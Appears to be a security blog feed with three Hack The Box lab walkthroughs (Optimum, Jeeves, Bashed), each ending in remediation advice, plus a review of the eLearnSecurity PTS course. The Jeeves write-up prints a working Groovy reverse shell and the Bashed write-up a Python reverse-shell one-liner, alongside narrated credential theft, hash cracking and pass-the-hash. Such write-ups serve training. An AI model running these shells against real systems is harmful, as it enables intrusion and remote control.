Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one’s penetration testing and security skills. Gaining system access on the Optimum machine is not very complex as access can be obtained through several known software vulnerabilities. Because of this the Optimum machine serves as a strong reminder of the importance of timely software updates.

Tools Used

Nmap
Firefox browser
Searchsploit
Python SimpleHTTPServer
Ncat and Netcat
Systeminfo command line utility
GDSSecurity Windows Exploit Suggester
Wget
Basic PowerShell commands

Enumeration: Nmap

Running an initial scan with Nmap reveals that port 80 is open.

Running a targeted scan against port 80 with Nmap’s default and service enumeration scripts reveals a web server with the service banner HttpFileServer httpd 2.3 and a http header of HFS 2.3.

Furthermore, Nmap guesses the target operating system is Windows.

Enumeration: Firefox

A quick visit with the Firefox browser shows an index page with a link to the software’s home page.

Following the link reveals that HFS is a Windows web server specifically designed for file sharing. The software is made by Rejetto.

Exploitation: Searchsploit

Using searchsploit with the search parameter rejetto hfs reveals several public exploits that leverage known vulnerabilities in version 2.3 of the HFS software.

As Python is my language of choice I copy the Python exploit from the local exploit database to investigate and modify it where necessary.

Inspecting the exploits code and its comments reveals that it depends on a web server do download nc.exe and then leverages nc.exe to establish a reverse shell.

Further inspection of the exploit code reveals a hard coded IP address that needs to be modified to the IP address of the attacking machine.

Exploitation: Initial Shell

Preparing the Python SimpleHTTPServer with an nc.exe Windows binary because the exploit downloads and then leverages the nc.exe executable to establish a reverse shell.

Setting up an Ncat listener on port 443 to catch the reverse shell connection.

Executing the modified Python exploit.

The exploit executes and connects to the Python SimpleHTTPServer to download the nc.exe Windows binary.

Nc.exe connects back to the Ncat listener on port 443 creating a low privilege reverse shell as the Kostas user.

Privilege Escalation

On a Windows system the native systeminfo command can be leveraged to investigate what version of the Windows operating system is running and what Microsoft patches are present.

Furthermore the systeminfo output can be used in conjunction with a Python script called Windows Exploit Suggester from GDSSecurity so the output should be saved locally. This can be achieved with a simple copy and paste action between terminals.

The Windows Exploit Suggester script compares the output of installed patches from the systeminfo command against the Microsoft vulnerability database making it trivial to get a list of missing patches and thus possible privilege escalation paths.

The second hit on the Windows Exploit Suggester list is an exploit hosted by the Exploit Database a well-known and trusted public exploit repository. The exploit specifically targets Windows 8.1 x64 but Windows Server 2012 R2 is closely related to Windows 8.1 and has the same build number making it highly likely that the suggested exploit also works on Windows Server 2012 R2.

Using searchsploit to verify if the exploit is available locally and copy it.

The exploit is a .c file that needs to be compiled before it can be executed. However, reading the exploits comments reveals the exploit database already has a pre-compiled Windows binary available that can be used instead of compiling the exploit locally.

Downloading the exploit from the exploit database and setting up the HTTP server is trivial.

Exploitation: System

PowerShell in conjunction with the Python SimpleHTTPServer can be leveraged to download the exploit to Optimum.

PowerShell downloads the exploit from the Python SimpleHTTPServer.

Executing the exploit on Optimum results in system level access and a full compromise of the machine.

Remediation

Optimum is a good example of the importance of timely software updates. The installed version of the Rejetto HFS server is vulnerable to a known exploit resulting in a low privileged shell on the system. Furthermore the Windows operating system was not updated in a while making it possible to use one of several known privilege escalation exploits to gain system access.

The following software updates should be installed to mitigate risk.

Update the Rejetto HFS server to the latest version to protect against this specific and other known vulnerabilities
Update the Windows operating system with the latest Microsoft patches to protect against this specific and other known vulnerabilities

Furthermore, to protect against known vulnerabilities in the future the following policy changes should be considered.

Implement a software inventory policy and keep this inventory up to date
Implement a software update policy and patch management life cycle to protect against known vulnerabilities in software

Hack The Box Write-Up Jeeves

hello@isroot.nl (Michael Thelen) — Mon, 18 Jun 2018 00:00:00 +0100

Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one’s penetration testing and security skills. While Jeeves is not a very complex machine to compromise gaining administrative access still requires several offensive techniques that offer an interesting learning experience.

Tools Used

Nmap
Firefox browser
Gobuster
Ncat and Netcat
Basic Groovy scripting
Basic PowerShell commands
John the Ripper
KeepassXC
Pth-Winexe

Enumeration: Nmap

Running an initial scan with Nmap reveals that ports 80, 135, 445 and 50000 are open.

Running a targeted scan against ports 80, 135, 445 and 50000 with Nmap’s default and service enumeration scripts reveals a Microsoft IIS 10 web server and the Microsoft RPC and SMB services. At this point it is fairly certain that Jeeves is a Windows machine.

Port 50000 with the service banner Jetty 9.4.z-SNAPSHOT stands out immediately from the other services as this is not a standard service bundled with the Windows operating system.

Enumeration: Firefox

A quick Google search leads to a Wikipedia article and reveals that Jetty is a Java web server. A visit to the website on port 50000 with the Firefox browser results in a 404 error page.

Enumeration: Gobuster

Digging a bit deeper a Gobuster scan reveals the askjeeves directory.

Enumeration: Firefox Continued

Investigating the askjeeves directory reveals a Jenkins installation that exposes administrative functionality without the need to authenticate.

Browsing around on the Jenkins website reveals a script console.

Exploitation: Initial Shell

Further investigation of the Jenkins script console reveals that it is possible to run Groovy scripts. This functionality can be leveraged to execute code on the machine.

Preparing an Ncat listener on port 443 to catch the connection.

Initiating a connection with the script console to the listener on port 443 is trivial and can be achieved with the following Groovy script.

1
2
3
4


String host="10.10.14.4";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

The initial Groovy reverse shell on the attacking machine. Currently having a foothold as the low privileged Kohsuke user.

Privilege Escalation

Browsing through the documents folder of the Kohsuke user reveals a CEH.kdbx Keepass database. There is a possibility this Keepass database contains information to expand influence or elevate privileges. Spending some time to transfer the database to the attacking machine and crack it can be a good investment.

Netcat can be leveraged to transfer the CEH.kdbx file from Jeeves to the attacking machine. Transferring the nc.exe file to Jeeves is trivial with the Python Simple HTTP server module and a little bit of PowerShell knowledge.

PowerShell is installed on Windows by default and can be leveraged to download the nc.exe file from the web server that is listening on port 8000.

Preparing an Ncat listener on the attacking machine to receive the file transfer.

Initiating the CEH.kdbx file transfer with Netcat from the Jeeves machine.

Ncat on the attacking machine receives the connection and the CEH.kdbx file transfer.

Now that the Keepass database is available on the attacking machine an attempt can be made to crack the password hash to gain access to the data stored within the database.

The password hash can be extracted with Keepass2John. After the hash is extracted it can be cracked with John the Ripper and the well know rockyou password database. It does not take long before the password is found.

Now that the password of the Keepass database is found KeepassXC can be used to open the file and inspect its contents. Several entries are present but a Windows NTLM hash stands out among all other entries.

Exploitation: Administrator

Windows NTLM hashes can be used in a well-known attack called Pass the Hash. To gain a command line shell on the Jeeves machine the pth-winexe command line utility can be used. Launching the Pass the Hash attack with the discovered hash spawns a command line shell as the Administrator user.

Exposing the Root Flag

At this point the Jeeves machine is fully compromised and in a real-world engagement it is game over, however to complete the Hack The Box challenge the root.txt flag needs to be obtained as-well.

The creator of the challenge cleverly hid the root.txt flag within an alternate data stream as can be discovered with the dir /R command. Using the more command the root.txt alternate data stream can be read and reveals the root.txt flag.

Remediation

The Jenkins installation on port 50000 exposed administrative functionality without the need to authenticate and is an example of broken access controls. This configuration error allowed any user with access to the Jenkins website to access administrative functionality that could be leveraged to execute code.

The use of a weak password for the Keepass database made it trivial to crack. This in turn resulted in the disclosure of sensitive information that was used to elevate privileges resulting in the full compromise of the Jeeves machine.

The following configuration and policy changes should be considered to mitigate risk.

Enforce encrypted communication for the askjeeves directory on the web server
Protect access to administrative functionality on the Jenkins installation with proper authentication and authorization
Implement strong password policy guidelines and enforce those guidelines where possible
Inform users about the importance of strong passwords, train them in the practice of making strong but easy to remember passwords and how to store passwords securely

Hack The Box Write-Up Bashed

hello@isroot.nl (Michael Thelen) — Mon, 11 Jun 2018 00:00:00 +0100

Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one’s penetration testing and security skills. Bashed was a fairly easy but fun machine, it has several configuration errors that when chained together allow an attacker to fully compromise the machine and gain root access.

Tools Used

Nmap
Firefox browser
Gobuster
Ncat
Wget
Basic shell commands
Basic Python scripting

Enumeration: Nmap

Running an initial scan with Nmap reveals that port 80 is open.

Running a targeted scan against port 80 with Nmap’s default and service enumeration scripts reveals the Apache 2.4.18 web server most likely running on a flavour of Ubuntu Linux as indicated by the service banner.

Enumeration: Firefox

A visit to the website with a browser reveals a development website for PHPBash.

Enumeration: Gobuster

Digging a bit deeper a Gobuster scan reveals an interesting dev directory.

Exploitation: Initial Shell

The dev directory contains a working version of PHPBash. PHPBash can be used to enumerate what tools are available on the machine. As Python is available getting an initial reverse shell is trivial.

Preparing an Ncat listener on port 443 to catch the Python connection.

Initiating a connection to the listener with the following Python command through the PHPBash webpage.

1

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.3",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

The initial Python reverse shell on the attacking machine. Currently having a foothold as the low privileged www-data user that the Apache server uses to provide its services.

Now that a low privilege reverse shell is established it is possible to upgrade the shell to an interactive one to make life more enjoyable.

Privilege Escalation

Exploring the directory structure reveals a scripts directory that is owned by the user scriptmanager. Looking at /etc/passwd reveals the scriptmanager user exists on the machine.

Running sudo -l reveals the www-data user can run commands as the scriptmanager user without a password. This configuration error can be leveraged to spawn a Bash shell as the scriptmanager user.

Investigating the scripts directory reveals a test.py Python file that is owned by the scriptmanager user and a test.txt file that is owned by the root user.

Looking at the contents of both files and the last modified time of test.txt the most likely scenario is that the root user runs the test.py file as a cron job and writes testing 123! to the test.txt file every minute.

Because the test.py file is owned by scriptmanager and the www-data user has sudo access to this account without a password it is possible to modify the test.py file. This configuration error can be leveraged to initiate another Python reverse shell to the attacking machine this time as the root user.

Creating a malicious test.py file containing a simple Python reverse shell that connects to port 80 on the attacking machine.

Setting up another Ncat listener on port 80.

Preparing a simple Python HTTP server on port 8000 to serve the malicious test.py file.

Removing the test.py file form the Bashed machine and copying the malicious test.py file in its place with wget.

Exploitation: Root

After some time, the root user executes the malicious test.py file and initiates a connection to the Ncat listener. At this point the Bashed machine is fully compromised and it is game over.

Remediation

While it is not recommended to host a web shell on a server exposed to the public internet there can be a business requirement to do so. In case a business requirement needs to be met implementing the following configuration changes is advised to mitigate risk.

Enforce encrypted communication for the dev directory on the web server
Protect access to the dev directory on the web server with a username and password
Limit access to the dev directory on the web server to trusted IP addresses
Configure sudo to ask for a password before running commands as another user
Prevent running automatic or scheduled scripts that other users can modify with root privileges

eLearnSecurity Penetration Testing Student v3 Review

hello@isroot.nl (Michael Thelen) — Mon, 04 Jun 2018 00:00:00 +0100

Being a system and network administrator by trade and interested in system and network security as a hobby I wanted to expand my knowledge about penetration testing. I went looking for a course that would teach hands on and practical penetration testing skills and found community members on the netsecstudents Reddit discussing the Penetration Testing Student v3 (PTS) course from eLearnSecurity.

The PTS is an introductory course into the field of penetration testing that is in my opinion not too expensive to just “try out” to see if you like it. While it is certainly possible to learn about penetration testing from free online resources such as YouTube videos and online blogs I opted to purchase the PTS course to save myself some time and make things a little bit more official and also obtain my eJPT certification in the process.

Plan Comparison

The PTS course is available in three plans, barebone, full and elite.

The barebone plan is the PTS entry level offering and is often available for free. eLearnSecurity invites for this plan can usually be earned by attending one of their webinars or keeping an eye out for discounts in online communities such as the netsecstudents Reddit or the TechExams Community Forums. All the plans give lifetime access to the course slides but the video content and hands on labs are not included in the barebone plan.

The full plan is the middle of the pack and includes the video material, 30 hours of lab access and instructor and community support on the eLearnSecurity community forums. While the forums have a low post volume the instructors and community members do respond to questions rather quickly. This plan also includes an eJPT exam voucher with one free retake in case you fail the exam the first time. Take note though as the exam voucher included in this plan expires 180 days after purchase and if you let it expire you have to purchase a new voucher if you want to do the exam.

The elite plan has everything included in the full plan and offers 60 hours of lab access and three free retakes in case you fail the exam more than once. The exam voucher included in this plan does not expire so if you want to take your time with the course this is the right plan for you. If you pass the exam this plan has the option to ship your shiny new certificate to your home address without additional cost.

The biggest advantage of the elite plan in my opinion is that the course materials are available in HTML 5 and PDF formats making it available on mobile clients such as a tablet or mobile phone this allowed me to learn on the go while using my iPad. Having the course content available in downloadable PDF format also helps as you can download the PDF files and index them to search through the course materials to look something up quickly.

Demo and Purchasing

Before you purchase the course you can try out a free demo by filling in your name and email address. You get access to a subset of the slide material to see if you like the content.

When you decide you want to enroll in the course you have to create an account on the eLearnSecurity website when you have done this you can purchase the course. After I signed up and made my purchase I received an email to verify my identity apparently to prevent fraud.

This process is straight forward but does require you to upload your ID and credit card information through their web portal so be aware of this before purchase. The verification process took about an hour after I uploaded the requested documents but I have heard stories from others about the process taking a bit longer.

The Course Content

The course content is split up into three major modules starting with some prerequisite knowledge before you dive into the penetration testing module itself.

The main modules of the course are:

Preliminary Skills - Prerequisites
Preliminary Skills - Programming
Penetration Testing

The content is well made, composed with care and is laid out in such a way that it feels like you naturally progress through the material, especially if you have a plan with video and lab access and follow along with the videos and labs in between slides.

The materials begin with a brief introduction into the information security field, laying a basic foundation in networking, web application fundamentals and programming before moving on with the penetration testing module.

While it is tempting to skip straight to the interesting stuff I highly recommend to take some extra time to do the programming module of the course. While this module is not strictly needed to pass the exam, it lays a good foundation for a beginner that wants to enter the penetration testing and computer security field where basic programming and scripting knowledge is a good skill to have.

The networking module and Wireshark videos should also NOT be underestimated and spending some extra time to really understand what is going on here will make you a more effective penetration tester and IT professional in general. Trust me and thank me later.

The Videos

The course videos are well done and, in my opinion, solidify the theory you learn in the course slides. The slides and videos together prepare you well for the hands-on labs. The voice over in some of the videos seems to be a bit robot like at times but nothing too annoying.

The Labs

The labs are awesome and honestly the best part of the entire course! Each lab has a lab manual. The manual usually has a short description of the lab goal, recommended tools to use during the lab and several tasks that help you to reach the labs end goal. Each lab manual also has a section with solutions to complete the lab if you get stuck. I recommend reading and trying the solutions in the labs even if you solved the labs goal on your own as they can give you more insight and another perspective on how to solve the lab challenge.

There are twelve labs in total covering HTTPS sniffing, web application and operating system enumeration and exploitation, SQL injection and man in the middle attacks among others. The lab network is dedicated to you and you do not share the resources with other students. This means you are free to do as you please within the labs. The hands-on experience the labs give you really help you prepare for the exam. If you did the labs and completed all of them without leaning on the solutions to much you will pass the exam without much trouble.

I did all the labs two times and spent about 10 hours in total in the labs. When I was done with the course and passed my exam I still revisited them a few times because they are really fun to do.

Study Tips

Go for a plan with video content and lab access as they really solidify your understanding of the slides
Take your time with the course materials
Take some extra time for the programming module if you want to make this your career
Take your time in the labs and do them more than once before attempting the exam
When doing the labs do not jump to the solutions too quick but try to solve them yourself
Do NOT underestimate the networking module of the course

The Exam

When you start the exam, you receive a letter of engagement with a scope to perform your tests. To complete the exam, you have to perform a hands-on penetration test on a small company network and answer several questions along the way. The answers to the questions are not obvious at first glance but will reveal themselves once you start compromising the company network. You have three days to perform your tests and this is plenty of time to complete the exam.

The exam network is setup and configured as a real small company network and a fun challenge to complete. If you did all the labs a few times and understood the course materials you will pass the exam without much trouble.

Exam Tips

You have three full days to complete the exam, this is plenty of time
Do all the labs again the day before you start the exam
Make yourself a cheat sheet with commands you used during the labs
Revisit the course materials and videos if you are stuck
Double check your answers before submitting the exam
Upon completing the exam, you are given the results immediately
Enjoy the exam like the labs it is a really fun challenge to complete

Conclusion

The PTS course is well suited for beginners that want to step into the security industry or just want to expand their knowledge about penetration testing. A little background in computer networking and the Linux operating system is advised before stepping into the course but not strictly needed.

The course material is informative, to the point and has a natural flow to it that most beginners will appreciate. The video content and especially the labs that come with the two higher plans are well worth the upgrade and are a lot of fun to complete.

All in all, I found the PTS a worthwhile course that expanded my knowledge about the penetration testing and information security field so much so that I purchased the more advanced eLearnSecurity PTP course right after completing the eJPT exam.